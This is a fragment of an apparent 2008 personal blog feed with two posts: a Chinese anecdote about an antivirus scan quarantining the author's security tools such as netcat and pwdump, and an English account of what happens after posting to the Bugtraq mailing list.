    ]]> 因為一點小病，今天需要在家裏躺下來。稍好一些後，覺得無聊，但仍然未到能夠工作的狀態，只能做些不用腦的事情，所以不常做的事也去做：就是幫 Windows 掃病毒。就因為這次掃毒，令我整晚都不再無聊。

    用 AVG 掃完一次後，結果嚇了我一跳。平常工作需要用的工具，全部被隔離了。

    • netcat 是病毒。
    • pwdump 和 fgdump 是病毒。
    • 某些 packer 和 binder 逃不出同一命運，病毒。
    • 一些 rootkit trojan 如 Donald Dick 和 BO2K 等更不待言，病毒。

    結果整晚都為了救亡，而不再覺得無聊。稍為偷懶一下不用腦，就會落得這種下場。

    04:27 更新：精神不好，搞錯了。Donald Dick 是 trojan，不是 rootkit。

    ]]>     http://me.abelcheung.org/2008/04/03/%e9%98%b2%e6%af%92%e8%bb%9f%e4%bb%b6-%e9%98%b2%e7%84%a1%e8%81%8a%e8%bb%9f%e4%bb%b6/feed/ 0 What happens after sending email to Bugtraq? http://me.abelcheung.org/2008/03/28/what-happens-after-sending-email-to-bugtraq/ http://me.abelcheung.org/2008/03/28/what-happens-after-sending-email-to-bugtraq/#comments Thu, 27 Mar 2008 18:59:13 +0000 Abel http://me.abelcheung.org/2008/03/28/what-happens-after-sending-email-to-bugtraq/ As most people remotely interested in computer security should know, bugtraq is one of the ultimate mailing list one should subscribe in order to get the latest news or vulnerabilities (sans full-disclosure and a few others). But few people mentions what should be done before sending to the mailing list, and what will happen afterwards. Here is my little experience to be shared:

    [......]

    (Continue reading...)

    ]]>     As most people remotely interested in computer security should know, bugtraq is one of the ultimate mailing list one should subscribe in order to get the latest news or vulnerabilities (sans full-disclosure and a few others). But few people mentions what should be done before sending to the mailing list, and what will happen afterwards. Here is my little experience to be shared:

    1. Before sending email, make sure the email is properly signed with PGP or GPG or whatever. There is a mailing list maintainer watching over the list; email will be validated before they can be delivered to the mailing list. During the first time, the maintainer told me personally my email is delivered successfully.
    2. For me the most interesting part is the ‘aftermath’. Most likely the following things will be found in your mailbox afterwards:
      1. A few or no reply to your email (depends on people’s interest in the content, disputability, etc).
      2. Lots of “out of office” reply. So many.
      3. Several “This address does not exist” or “mailbox full” error from other mail servers around the world.
      4. And what distinguished bugtraq from most mailing lists: one or two email from Russia or East Europe or wherever, asking you to join malicious groups or exchange your ’scripts’ with $$$.
    ]]>     http://me.abelcheung.org/2008/03/28/what-happens-after-sending-email-to-bugtraq/feed/ 0